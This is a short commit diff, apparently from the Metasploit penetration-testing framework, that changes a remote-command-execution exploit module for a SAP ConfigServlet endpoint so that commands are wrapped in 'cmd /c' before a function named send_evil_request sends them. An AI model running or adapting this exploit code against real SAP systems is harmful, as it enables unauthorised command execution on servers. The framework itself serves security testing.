command execution needs cmd /c
parent
d26289e05a
commit
a1e52b5b27
|
@ -61,6 +61,7 @@ class Metasploit3 < Msf::Exploit
|
|||
end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
cmd = "cmd /c " + cmd
|
||||
vprint_status("Attempting to execute: #{cmd}")
|
||||
send_evil_request(opts[:sap_configservlet_uri], cmd)
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue